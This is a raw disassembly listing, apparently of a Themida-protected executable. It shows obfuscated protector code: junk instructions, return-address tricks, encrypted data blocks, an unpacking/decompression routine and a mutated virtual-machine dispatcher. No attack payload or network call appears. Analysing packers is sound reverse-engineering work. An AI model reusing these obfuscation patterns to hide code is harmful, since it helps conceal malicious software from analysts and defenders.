dd 8074699Ah, 370F11B9h, 0B8CA0C84h, 4A1958Bh, 565A07A8h
dd 3061958Bh, 0C35B07A8h, 0B8D08B66h, 0
; ---------------------------------------------------------------------------
xor bx, 0DDE8h
jmp loc_588977
; ---------------------------------------------------------------------------
mov dx, bx
loc_588791: ; CODE XREF: Themida_:005886FCj
mov eax, 1
or [ebp+7A80769h], edx
lea edi, [ebp+7A84432h]
mov edx, [ebp+7A82299h]
jmp loc_58885E
; ---------------------------------------------------------------------------
mov bh, dl
cmp eax, 2
jnz loc_5887D2
mov [ebp+7A81E31h], ebx
lea edi, [ebp+7A8462Ah]
or ebx, [ebp+7A833E5h]
jmp loc_58885E
; ---------------------------------------------------------------------------
mov bx, cx
loc_5887D2: ; CODE XREF: Themida_:005887B2j
cmp eax, 3
jnz loc_588844
push 0
push ebp
call sub_5887E6
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5887E6 proc near ; CODE XREF: Themida_:005887DEp
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 15h
inc ebp
push ebp
retn
sub_5887E6 endp
; ---------------------------------------------------------------------------
mov dword ptr [eax+0Fh], 68Ah
add [ecx-57E29663h], cl
pop es
lea edi, [ebp+7A847BEh]
sub [ebp+7A81A55h], eax
jmp loc_58885E
; ---------------------------------------------------------------------------
push 0
push ebx
call sub_588820
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588820 proc near ; CODE XREF: Themida_:00588818p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Bh
inc ebx
push ebx
retn
sub_588820 endp
; ---------------------------------------------------------------------------
dd 0DB0685F3h, 710FFBC4h, 2FC1B529h, 9D8B07A8h, 7A817DDh
; ---------------------------------------------------------------------------
loc_588844: ; CODE XREF: Themida_:005887D5j
cmp eax, 5
jnz loc_58885E
or edx, 3AF62A7Ah
jmp loc_58890C
; ---------------------------------------------------------------------------
xor ebx, [ebp+7A809FDh]
loc_58885E: ; CODE XREF: Themida_:005887A8j
; Themida_:005887CAj ...
push edi
push 0
push eax
call sub_58886A
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58886A proc near ; CODE XREF: Themida_:00588862p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Dh
inc eax
push eax
retn
sub_58886A endp
; ---------------------------------------------------------------------------
dw 0E684h
dd 0E59F4E8Dh, 229B7CAFh, 1640BA66h, 72F900B9h, 0B870F25h
dd 0F000000h, 58Ch, 0C2816600h, 0BB667C1Bh, 3F837C9Ch
dd 61840F00h, 89000000h, 0A8133DB5h, 0E1BA6607h, 6A0F3003h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 1BE9C351h, 2AFD8589h, 0C9D107A8h, 0CC99D09h
dd 0E94707A8h, 0Dh, 0CD0A29F0h, 76166CC3h, 17F5E43h, 0FFA8E9BFh
dd 810FFFFFh, 6, 1CED9509h, 9D8B07A8h, 7A826BDh
; ---------------------------------------------------------------------------
loc_58890C: ; CODE XREF: Themida_:005880D3j
; Themida_:00588202j ...
cmp eax, 5
jnz loc_588977
jmp loc_588928
; ---------------------------------------------------------------------------
dw 2D7Ch
; ---------------------------------------------------------------------------
push edi
xchg cl, [ebx-23h]
or byte ptr [eax+7Eh], 42h
db 67h
dec esp
db 66h
xlat
loc_588928: ; CODE XREF: Themida_:00588915j
mov cx, ds
mov dx, cx
test cl, 4
jnz loc_588969
mov bh, 1
mov eax, 0
jb loc_58894A
mov [ebp+7A82AB5h], edi
loc_58894A: ; CODE XREF: Themida_:0058893Ej
jmp loc_588977
; ---------------------------------------------------------------------------
db 0E8h
dd 0Eh, 0E3A3A8Eh, 3EC1A277h, 4A628EA1h, 958B0360h, 7A80535h
; ---------------------------------------------------------------------------
pop edx
loc_588969: ; CODE XREF: Themida_:00588931j
mov eax, [ebp+7A80AC1h]
jmp eax
; ---------------------------------------------------------------------------
mov [ebp+7A80389h], eax
loc_588977: ; CODE XREF: Themida_:00587F43j
; Themida_:005886E1j ...
cmp dword ptr [ebp+7A80A3Dh], 0
jnz loc_588AD1
push 0
push eax
call sub_58898F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_58898F proc near ; CODE XREF: Themida_:00588987p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 1Ch
inc eax
push eax
retn
sub_58898F endp
; ---------------------------------------------------------------------------
db 9Ah
dd 6FE1C6D5h, 0C0F8FE60h, 5E9h, 68393800h, 0E9908A7Dh
dd 0Eh, 0C70A4B45h, 0F46FB5A1h, 0FAC8C389h, 0E95014FAh
dd 0Fh, 11A0377Bh, 217341B0h, 0D63D77DFh, 907182F3h, 10E9h
dd 0A93F900h, 1191C19Fh, 3B00397h, 626023DBh, 1985C61Ch
dd 4507A806h, 0B7F968F9h, 5250734Ah, 0F525050h, 5B585A31h
dd 0BA66310Fh, 585A34B6h, 70240481h, 0E91B27B1h, 6, 504E6476h
dd 0B5FF1341h, 7A81895h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 74C35343h, 0E971642Fh, 800F2E23h, 6
dd 35799D8Bh, 858D07A8h, 7A83BDFh, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 17h, 87C35242h, 0FF7FD651h, 50006AD0h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1404h, 0C3504000h
dd 3D858955h, 8107A80Ah, 278938DAh, 58DA8B00h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 4EC35040h, 8166755Ch
dd 8B39D5D2h, 0A80E5595h
; ---------------------------------------------------------------------------
pop es
loc_588AD1: ; CODE XREF: Themida_:0058897Ej
cmp dword ptr [ebp+7A84E01h], 0
jz loc_588AF6
sub [ebp+7A805D1h], esi
push dword ptr [ebp+7A82A45h]
mov bx, cx
call dword ptr [ebp+7A80A3Dh]
mov bx, dx
loc_588AF6: ; CODE XREF: Themida_:00588AD8j
cmp eax, 0
jnz loc_588C3D
push 0
push ebx
call sub_588B0A
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588B0A proc near ; CODE XREF: Themida_:00588B02p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 17h
inc ebx
push ebx
retn
sub_588B0A endp
; ---------------------------------------------------------------------------
dw 9D39h
dd 8E8F2DDh, 0E9000000h, 3138A83Dh, 66355F8Dh, 5B5848BBh
dd 8E8h, 0CF6B0C00h, 927C437h, 0DAB70FD2h, 0C9958B5Ah
dd 8307A819h, 0A831E5BDh, 840F0007h, 69h, 1858960h, 8907A80Fh
dd 0A8101995h, 0B5FF6107h, 7A831E5h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 16h, 58C35040h, 820F088Ch, 5, 0CF0B45BBh
dd 1B848h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 140424h, 56460000h, 858903C3h, 7A82935h, 1E4E9h, 45B5FF00h
dd 8107A82Ah, 0AFB5E1C3h, 45B5FF0Dh, 0F07A82Ah, 680h, 0F5BD8900h
dd 2907A827h, 0A80E559Dh, 3DB5FF07h, 6A07A80Ah, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
dd 7ACDC353h, 3D99905Eh, 6E9h, 0DCD65C00h, 0E989A2EFh
dd 189h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 18h, 3EC35242h, 0BC5402CAh, 22F28166h
db 0B4h
; ---------------------------------------------------------------------------
loc_588C3D: ; CODE XREF: Themida_:00588AF9j
pop edi
mov [ebp+7A81D6Dh], edi
cmp dword ptr [ebp+7A829ADh], 0
jnz loc_588CE8
jmp loc_588C65
; ---------------------------------------------------------------------------
cmp dword ptr [edx], 0FFFFFFDDh
mov ecx, 52D90494h
add cl, [edx+ebx*8-134F395Eh]
loc_588C65: ; CODE XREF: Themida_:00588C51j
mov byte ptr [ebp+7A80619h], 4Dh
push 0
push eax
call sub_588C77
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588C77 proc near ; CODE XREF: Themida_:00588C6Fp
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 16h
inc eax
push eax
retn
sub_588C77 endp
; ---------------------------------------------------------------------------
db 0B7h
dd 0D18BCEE6h, 0C6B62068h, 2404814Bh, 586EC088h, 0DED9D89h
dd 0B5FF07A8h, 7A81E35h, 0FFE3C381h, 858D2FACh, 7A83BDFh
dd 0FFC2DE80h, 0AD8589D0h, 8907A800h, 0A829AD85h, 57006A07h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
dd 0F0EDE555h, 0BADFA4D4h, 5B1F1ECEh
; ---------------------------------------------------------------------------
loc_588CE8: ; CODE XREF: Themida_:00588C4Bj
mov eax, 0
push 0
push edi
call sub_588CF8
and [edi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588CF8 proc near ; CODE XREF: Themida_:00588CF0p
arg_4 = dword ptr 8
pop edi
mov [esp-4+arg_4], edi
add [esp-4+arg_4], 1Dh
inc edi
push edi
retn
sub_588CF8 endp
; ---------------------------------------------------------------------------
dd 0EE7F057Dh, 9304B7Bh, 0BB667485h, 880FD379h, 13h, 0CE956h
dd 37C40000h, 17901C23h, 9EC6A86Bh, 895BF523h, 0A84DAABDh
dd 0BFBB6607h, 0FC00BA9h, 0B84h, 7CF78000h, 58E9h, 0DEB70F00h
dd 0A3DB5FFh, 6A07A8h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 180424h, 55450000h, 0BCEC1FC3h, 8DF8D78Eh, 0AAA9F485h
dd 0F2816607h, 0D18B3904h, 14E850h, 6A220000h, 1CEC7F13h
dd 3144034Bh, 0DF7060E1h, 9CA288CCh, 895A0F50h, 0CE802404h
dd 8D56507Ah, 0A85539BDh, 4D8D8D07h, 0B807A879h, 748323BCh
dd 730CF2Bh, 4947C8D0h, 585EF875h, 31E5BD83h, 740007A8h
dd 0E98D8B06h, 3307A80Dh, 0B8C9h, 0C00B0000h, 0A8840Fh
dd 0BD830000h, 7A81B39h, 0FF067400h, 0A826A595h, 0B807h
dd 0C00B0000h, 0BD830975h, 7A84DB2h, 83097401h, 0A84DB2BDh
dd 0E750207h, 4DAAB58Bh, 858D07A8h, 7AAA9F4h, 0BD83D0FFh
dd 7A823C1h, 0FF067400h, 0A832D995h, 0C7858D07h, 0FF07A843h
dd 9BD83D0h, 207A822h, 0A58B2F75h, 7A81E29h, 31E5858Bh
dd 48907A8h, 8985C724h, 107A80Bh, 8B000000h, 0A84DAEB5h
dd 9AD8B07h, 0B807A805h, 1, 0EB000CC2h, 8985C700h, 107A80Bh
dd 8B000000h, 0A81E29A5h, 75B58B07h, 8B07A804h, 0A80509ADh
dd 0C2C03307h, 0BD83000Ch, 7A823C1h, 830F7400h, 0A832D9BDh
dd 6740007h, 32D995FFh, 0B58B07A8h, 7A84DAAh, 55006AC3h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1604h, 0C3554500h
dd 331327BEh, 0A8238995h, 6AD22B07h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 81E4C353h
dd 54654BE2h
; ---------------------------------------------------------------------------
pop ebp
push ebp
mov ebp, esp
push ecx
push edi
push edx
push esi
mov edi, [ebp+8]
xor eax, eax
jmp short loc_588EFD
; ---------------------------------------------------------------------------
loc_588EFB: ; CODE XREF: Themida_:00588F00j
inc eax
inc edi
loc_588EFD: ; CODE XREF: Themida_:00588EF9j
cmp byte ptr [edi], 0
jnz short loc_588EFB
xor ecx, ecx
mov edi, [ebp+8]
jmp short loc_588F2C
; ---------------------------------------------------------------------------
loc_588F09: ; CODE XREF: Themida_:00588F2Ej
xor edx, edx
mov dl, [edi]
sub dl, 30h
mov esi, eax
dec esi
push eax
mov eax, edx
push ebx
mov ebx, 0Ah
jmp short loc_588F21
; ---------------------------------------------------------------------------
loc_588F1E: ; CODE XREF: Themida_:00588F24j
mul ebx
dec esi
loc_588F21: ; CODE XREF: Themida_:00588F1Cj
cmp esi, 0
ja short loc_588F1E
pop ebx
add ecx, eax
pop eax
inc edi
dec eax
loc_588F2C: ; CODE XREF: Themida_:00588F07j
or eax, eax
jnz short loc_588F09
mov eax, ecx
pop esi
pop edx
pop edi
pop ecx
leave
retn 4
; ---------------------------------------------------------------------------
mov dx, ax
push edi
jmp loc_588F51
; ---------------------------------------------------------------------------
and ebx, [esi+43737B76h]
lds edi, [edi-5B912339h]
cdq
pop ecx
loc_588F51: ; CODE XREF: Themida_:00588F3Ej
pop ebx
push 0
push ebp
call sub_588F5D
and [ebp-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_588F5D proc near ; CODE XREF: Themida_:00588F55p
arg_4 = dword ptr 8
pop ebp
mov [esp-4+arg_4], ebp
add [esp-4+arg_4], 17h
inc ebp
push ebp
retn
sub_588F5D endp
; ---------------------------------------------------------------------------
db 62h, 0A9h, 0C5h
; ---------------------------------------------------------------------------
mov ebp, 18659D8Bh
test al, 7
mov [ebp+7A8263Dh], eax
mov eax, ecx
jmp loc_589131
; ---------------------------------------------------------------------------
pusha
mov esi, [esp+24h]
mov edi, [esp+28h]
cld
mov dl, 80h
loc_588F90: ; CODE XREF: Themida_:loc_588FA8j
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_588F9B: ; CODE XREF: Themida_:00589026j
; Themida_:0058908Ej ...
add dl, dl
jnz loc_588FA8
mov dl, [esi]
inc esi
adc dl, dl
loc_588FA8: ; CODE XREF: Themida_:00588F9Dj
jnb loc_588F90
add dl, dl
jnz loc_588FBB
mov dl, [esi]
inc esi
adc dl, dl
loc_588FBB: ; CODE XREF: Themida_:00588FB0j
jnb loc_58902B
xor eax, eax
add dl, dl
jnz loc_588FD0
mov dl, [esi]
inc esi
adc dl, dl
loc_588FD0: ; CODE XREF: Themida_:00588FC5j
jnb loc_589100
add dl, dl
jnz loc_588FE3
mov dl, [esi]
inc esi
adc dl, dl
loc_588FE3: ; CODE XREF: Themida_:00588FD8j
adc eax, eax
add dl, dl
jnz loc_588FF2
mov dl, [esi]
inc esi
adc dl, dl
loc_588FF2: ; CODE XREF: Themida_:00588FE7j
adc eax, eax
add dl, dl
jnz loc_589001
mov dl, [esi]
inc esi
adc dl, dl
loc_589001: ; CODE XREF: Themida_:00588FF6j
adc eax, eax
add dl, dl
jnz loc_589010
mov dl, [esi]
inc esi
adc dl, dl
loc_589010: ; CODE XREF: Themida_:00589005j
adc eax, eax
jz loc_58901E
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_58901E: ; CODE XREF: Themida_:00589012j
mov [edi], al
inc edi
mov ebx, 2
jmp loc_588F9B
; ---------------------------------------------------------------------------
loc_58902B: ; CODE XREF: Themida_:loc_588FBBj
mov eax, 1
loc_589030: ; CODE XREF: Themida_:loc_58904Cj
add dl, dl
jnz loc_58903D
mov dl, [esi]
inc esi
adc dl, dl
loc_58903D: ; CODE XREF: Themida_:00589032j
adc eax, eax
add dl, dl
jnz loc_58904C
mov dl, [esi]
inc esi
adc dl, dl
loc_58904C: ; CODE XREF: Themida_:00589041j
jb loc_589030
sub eax, ebx
mov ebx, 1
jnz loc_589093
mov ecx, 1
loc_589064: ; CODE XREF: Themida_:loc_589080j
add dl, dl
jnz loc_589071
mov dl, [esi]
inc esi
adc dl, dl
loc_589071: ; CODE XREF: Themida_:00589066j
adc ecx, ecx
add dl, dl
jnz loc_589080
mov dl, [esi]
inc esi
adc dl, dl
loc_589080: ; CODE XREF: Themida_:00589075j
jb loc_589064
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_588F9B
; ---------------------------------------------------------------------------
loc_589093: ; CODE XREF: Themida_:00589059j
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_5890A1: ; CODE XREF: Themida_:loc_5890BDj
add dl, dl
jnz loc_5890AE
mov dl, [esi]
inc esi
adc dl, dl
loc_5890AE: ; CODE XREF: Themida_:005890A3j
adc ecx, ecx
add dl, dl
jnz loc_5890BD
mov dl, [esi]
inc esi
adc dl, dl
loc_5890BD: ; CODE XREF: Themida_:005890B2j
jb loc_5890A1
cmp eax, 7D00h
jnb loc_5890F0
cmp eax, 500h
jb loc_5890E7
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_588F9B
; ---------------------------------------------------------------------------
loc_5890E7: ; CODE XREF: Themida_:005890D3j
cmp eax, 7Fh
ja loc_5890F3
loc_5890F0: ; CODE XREF: Themida_:005890C8j
add ecx, 2
loc_5890F3: ; CODE XREF: Themida_:005890EAj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_588F9B
; ---------------------------------------------------------------------------
loc_589100: ; CODE XREF: Themida_:loc_588FD0j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz loc_589125
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_588F9B
; ---------------------------------------------------------------------------
loc_589125: ; CODE XREF: Themida_:00589108j
sub edi, [esp+28h]
mov [esp+1Ch], edi
popa
retn 8
; ---------------------------------------------------------------------------
loc_589131: ; CODE XREF: Themida_:00588F7Fj
mov edx, 929h
jmp loc_5AB510
; ---------------------------------------------------------------------------
align 4
dd 1B00605Bh, 0F4026E00h, 0CC0012FEh, 2300605Bh, 26E00h
dd 0E0000000h, 460012FFh, 2000002h, 1000000h, 3000000h
dd 69000000h, 0F8B014h, 4 dup(0)
dd 99000000h, 340058B1h, 23005907h, 5C0058A3h, 50058CFh
dd 0D2005949h, 0AF0058A2h, 830058CDh, 74005943h, 40058F8h
dd 3500592Ah, 3E0058BCh, 0A30058D9h, 650058A7h, 0A30058E9h
dd 140058AEh, 450058ABh, 0EA0058E8h, 0A80058F4h, 58D4h
dd 790058AEh, 8D00589Dh, 0B200592Eh, 0F80058FEh, 0A8005914h
dd 360058D1h, 390058CAh, 0C40058D8h, 0AD0058CFh, 5B00590Dh
dd 0EF0058A0h, 9B0058B2h, 0A30058CCh, 2A0058F8h, 100058B3h
dd 0CF00594Eh, 0A600589Fh, 0BD005908h, 0D1005900h, 0AE0058A0h
dd 3005950h, 6A0058CDh, 0C400592Ah, 0CD0058D5h, 4D0058C3h
dd 1C005899h, 0CA005915h, 130058D8h, 0D5005937h, 790058A8h
dd 75005894h, 0AD00592Bh, 0EE005930h, 0E0058C2h, 0F30058DBh
dd 5C005903h, 1B0058A4h, 0B50058FFh, 0D80058E6h, 190058C4h
dd 0CF0058D6h, 6000594Ah, 0F2005918h, 60058F6h, 9A00592Fh
dd 0F9005915h, 0D80058F4h, 74005911h, 780058EFh, 0B0058D0h
dd 0B700590Eh, 3A005901h, 0F6005953h, 160058B4h, 0B10058D8h
dd 380058B3h, 0BC0058FBh, 500058F0h, 650058F7h, 120058C9h
dd 0AF0058F8h, 7900592Ah, 0F40058F9h, 4A005916h, 0A60058C5h
dd 1D005928h, 24005953h, 2D005929h, 2700591Dh, 0BC005943h
dd 50058F5h, 900058EDh, 0BD0058F3h, 62005943h, 0C50058E1h
dd 70005935h, 47005945h, 0AD00593Bh, 560058ACh, 450058B5h
dd 470058D9h, 0C005922h, 0A80058AAh, 6400592Ah, 160058A7h
dd 0A50058A3h, 0A60058EEh, 8B005947h, 0BB005907h, 90058AEh
dd 23005940h, 9F0058D3h, 2B005916h, 690058CCh, 40005939h
dd 480058C6h, 8A0058FDh, 15005925h, 26005934h, 1100593Eh
dd 0A8005936h, 840058D0h, 1F0058B9h, 0B00058B8h, 0AE005944h
dd 93005925h, 710058DFh, 0E60058A0h, 0A0005911h, 0E80058FEh
dd 5A005913h, 310058EAh, 0B30058FFh, 3C005934h, 0DE005944h
dd 94005905h, 8A00590Ch, 5C00593Eh, 5600590Dh, 0C70058A6h
dd 0F1005955h, 4C00589Fh, 0F6005897h, 1300593Ch, 340058FCh
dd 2E0058E7h, 8400592Ch, 65005916h, 180058CBh, 7E005951h
dd 1A0058A8h, 5D0058C1h, 30005932h, 5B005955h, 5D005904h
dd 0B600594Dh, 16005897h, 620058C5h, 920058EBh, 0A900592Fh
dd 160058DFh, 8005930h, 6C0058DDh, 7800591Bh, 0DC005952h
dd 0F00058E5h, 990058F2h
db 24h, 59h, 0
; ---------------------------------------------------------------------------
loc_58941B: ; CODE XREF: Themida_:005AB569j
; Themida_:005AB573j ...
pusha
pushf
cld
call $+5
pop edi
sub edi, 7A87FBAh
mov eax, edi
add edi, 7A87CD2h
cmp eax, [edi+2Ch]
jnz short loc_589439
jmp short loc_58944C
; ---------------------------------------------------------------------------
loc_589439: ; CODE XREF: Themida_:00589435j
mov [edi+2Ch], eax
mov ecx, 0A7h
jmp short loc_589448
; ---------------------------------------------------------------------------
loc_589443: ; CODE XREF: Themida_:0058944Aj
add [edi+ecx*4+40h], eax
dec ecx
loc_589448: ; CODE XREF: Themida_:00589441j
or ecx, ecx
jnz short loc_589443
loc_58944C: ; CODE XREF: Themida_:00589437j
mov esi, [esp+24h]
mov ebx, esi
add esi, eax
mov ecx, 1
loc_589459: ; CODE XREF: Themida_:00589460j
xor eax, eax
lock cmpxchg [edi+30h], ecx
jnz short loc_589459
loc_589462: ; CODE XREF: Themida_:0058947Cj
; Themida_:005897EBj ...
lodsb
sub al, 3Eh
jmp loc_590F02
; ---------------------------------------------------------------------------
loc_58946A: ; CODE XREF: Themida_:0058E262j
push esi
push ebp
mov ebp, 6399419Fh
mov esi, ebp
pop ebp
jmp loc_58FD71
; ---------------------------------------------------------------------------
mov esp, [esp]
jmp loc_589462
; ---------------------------------------------------------------------------
loc_589481: ; CODE XREF: Themida_:005952F5j
inc edi
dec edi
add edi, 29DB99F3h
xor ecx, edi
pop edi
add ecx, 1E286B41h
add ecx, 0AEB5AD2Bh
jmp loc_593A13
; ---------------------------------------------------------------------------
loc_58949D: ; CODE XREF: Themida_:0059093Cj
pop ebx
add esp, 4
push esi
mov esi, 3C237137h
sub dword ptr [esp+4], 0F412F92h
push edx
mov edx, 6C9B1D22h
add [esp+8], edx
pop edx
add [esp+4], esi
sub dword ptr [esp+4], 6C9B1D22h
sub esp, 4
jmp loc_589DD0
; ---------------------------------------------------------------------------
loc_5894D1: ; CODE XREF: Themida_:0058CC4Dj
or cx, di
mov edi, [esp]
jmp loc_5951C5
; ---------------------------------------------------------------------------
loc_5894DC: ; CODE XREF: Themida_:0058A5BAj
shr bh, 3
push ecx
push ebx
mov bl, 0E2h
jmp loc_58F250
; ---------------------------------------------------------------------------
loc_5894E8: ; CODE XREF: Themida_:0058E040j
push ebx
jmp loc_592FE7
; ---------------------------------------------------------------------------
loc_5894EE: ; CODE XREF: Themida_:0058BFACj
mov esp, [esp]
mov ax, [esp]
push eax
jmp loc_58C01F
; ---------------------------------------------------------------------------
loc_5894FB: ; CODE XREF: Themida_:005915EDj
add eax, 4
add eax, 4
jmp loc_5903E9
; ---------------------------------------------------------------------------
loc_58950A: ; CODE XREF: Themida_:0058EF5Ej
mov esp, [esp]
mov eax, [esp]
sub esp, 4
mov [esp], ebp
push esp
mov ebp, [esp]
jmp loc_5959BB
; ---------------------------------------------------------------------------
loc_58951F: ; CODE XREF: Themida_:0058FEADj
pop edx
jmp loc_5912D6
; ---------------------------------------------------------------------------
loc_589525: ; CODE XREF: Themida_:0058A75Fj
pop eax
jmp loc_58A66F
; ---------------------------------------------------------------------------
loc_58952B: ; CODE XREF: Themida_:00594319j
add edx, eax
jmp loc_58DD8A
; ---------------------------------------------------------------------------
loc_589532: ; CODE XREF: Themida_:0058F18Dj
add esp, 4
sub ecx, 0DD7BBF7Ah
add esi, 697B3340h
add esi, ecx
jmp loc_591435
; ---------------------------------------------------------------------------
loc_589548: ; CODE XREF: Themida_:005945A1j
push dword ptr [esp]
pop edi
push edi
mov edi, esp
push ecx
mov ecx, 4
jmp loc_59453B
; ---------------------------------------------------------------------------
loc_58955A: ; CODE XREF: Themida_:00592C0Bj
pop esp
mov [esp], ecx
push 1787h
mov [esp], ebx
mov ebx, 2
jmp loc_58C1AB
; ---------------------------------------------------------------------------
loc_589570: ; CODE XREF: Themida_:005950D7j
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add esp, 4
and ecx, ebp
mov ebp, [esp]
push 61E2h
jmp loc_593F9E
; ---------------------------------------------------------------------------
loc_589592: ; CODE XREF: Themida_:00592CEEj
add edx, 8200Bh
add esi, 4302762Fh
add esi, edx
sub esi, 4302762Fh
jmp loc_58D3E4
; ---------------------------------------------------------------------------
loc_5895AB: ; CODE XREF: Themida_:005930FDj
pop ebx
xor edi, 928BE1F1h
xor eax, edi
pop edi
and ecx, eax
mov eax, [esp]
jmp loc_589AE0
; ---------------------------------------------------------------------------
loc_5895BF: ; CODE XREF: Themida_:0058D767j
and ebp, eax
pop eax
xor ebp, 4F5C1182h
not ebp
push esi
mov esi, 0FFFFFFFFh
sub ebp, esi
pop esi
sub ebp, 0B264D6BFh
sub esi, ebp
pop ebp
push esi
pop ecx
pop esi
and eax, ecx
mov ecx, [esp]
jmp loc_590D1C
; ---------------------------------------------------------------------------
loc_5895E9: ; CODE XREF: Themida_:00593D8Dj
pop ebp
jmp loc_593D92
; ---------------------------------------------------------------------------
loc_5895EF: ; CODE XREF: Themida_:0058D4CDj
div cx
jmp loc_58F1ED
; ---------------------------------------------------------------------------
loc_5895F7: ; CODE XREF: Themida_:00594878j
mov esi, 64B85723h
add esi, 0AEA7D503h
mov eax, esi
pop esi
jmp loc_58FE38
; ---------------------------------------------------------------------------
loc_58960A: ; CODE XREF: Themida_:0058ED6Aj
pop edi
neg esi
push eax
jmp loc_595247
; ---------------------------------------------------------------------------
loc_589613: ; CODE XREF: Themida_:0058BCACj
add esi, edi
pop edi
xchg esi, [esp]
pop esp
add ebx, 4
push eax
mov eax, 4C41991h
jmp loc_590753
; ---------------------------------------------------------------------------
loc_58962B: ; CODE XREF: Themida_:00593011j
push eax
push dword ptr [esp+4]
jmp loc_590BA2
; ---------------------------------------------------------------------------
loc_589635: ; CODE XREF: Themida_:00589F04j
add eax, ebx
add eax, 0E0F3F8Bh
mov ebx, [esp]
jmp loc_5908C1
; ---------------------------------------------------------------------------
loc_589644: ; CODE XREF: Themida_:005931E4j
not eax
neg eax
or eax, 1D662F62h
not eax
dec eax
push ecx
mov ecx, 70D109AEh
xor eax, ecx
pop ecx
xor ebx, eax
pop eax
jmp loc_595934
; ---------------------------------------------------------------------------
loc_589661: ; CODE XREF: Themida_:00590A97j
or edx, 49612C31h
push eax
mov eax, 10F57008h
push 0
sub [esp], eax
pop eax
xor eax, 0A6F7F3D5h
add edx, 6BF57ABCh
jmp loc_5955EB
; ---------------------------------------------------------------------------
loc_589686: ; CODE XREF: Themida_:0058D355j
pop esp
push 75BEh
jmp loc_58C239
; ---------------------------------------------------------------------------
loc_589691: ; CODE XREF: Themida_:0058BDDDj
pop edx
add esp, 4
push ecx
sub esp, 4
mov [esp], ebx
mov bh, 0F7h
mov cl, bh
pop ebx
sub bl, cl
jmp loc_59494F
; ---------------------------------------------------------------------------
loc_5896AE: ; CODE XREF: Themida_:0058F38Bj
push edx
mov edx, 295EB9E8h
sub eax, 2D942413h
add eax, 5D1957C3h
add eax, 4DC77FC1h
sub eax, edx
jmp loc_5896ED
; ---------------------------------------------------------------------------
loc_5896CA: ; CODE XREF: Themida_:0058CC8Fj
sub esp, 4
mov [esp], edx
mov edx, 6C717BD0h
and eax, edx
pop edx
add eax, 0F7EFD434h
add ecx, eax
mov eax, [esp]
add esp, 4
jmp loc_58CD1C
; ---------------------------------------------------------------------------
loc_5896ED: ; CODE XREF: Themida_:005896C5j
sub eax, 4DC77FC1h
push edi
jmp loc_594A98
; ---------------------------------------------------------------------------
loc_5896F8: ; CODE XREF: Themida_:0058B5E3j
sub ebp, ebx
jmp loc_589809
; ---------------------------------------------------------------------------
loc_5896FF: ; CODE XREF: Themida_:0058B7D6j
neg edx
jmp loc_591C3C
; ---------------------------------------------------------------------------
loc_589706: ; CODE XREF: Themida_:0059013Bj
push edx
mov edx, 71A8529Dh
mov esi, 8B6CCA3Ah
sub esi, edx
pop edx
neg esi
dec esi
not esi
dec esi
shl esi, 8
xor esi, 9A7F1882h
add eax, 7EF33B7Eh
add eax, esi
push edi
mov edi, 6DD06E0Fh
neg edi
sub edi, 133C5673h
sub eax, edi
pop edi
push dword ptr [esp]
pop esi
push eax
mov eax, esp
add eax, 4
jmp loc_58CFCE
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
push ebx
push 6529h
mov [esp], esp
push edi
jmp loc_592AB7
; ---------------------------------------------------------------------------
loc_58975F: ; CODE XREF: Themida_:0058EB4Cj
mov edx, 19853B12h
jmp loc_5959C8
; ---------------------------------------------------------------------------
loc_589769: ; CODE XREF: Themida_:00589ED8j
push ebp
jmp loc_593D98
; ---------------------------------------------------------------------------
loc_58976F: ; CODE XREF: Themida_:00595917j
xor ah, 0BDh
jmp loc_58E091
; ---------------------------------------------------------------------------
loc_589777: ; CODE XREF: Themida_:0058F929j
dec esi
dec esi
jmp loc_58BC47
; ---------------------------------------------------------------------------
loc_58977E: ; CODE XREF: Themida_:0058FC0Ej
not bl
inc bl
jmp loc_58F40D
; ---------------------------------------------------------------------------
loc_589787: ; CODE XREF: Themida_:0058F7E8j
add edi, ebp
add edi, 792C40F2h
pop ebp
add edi, 4
xchg edi, [esp]
pop esp
push ebp
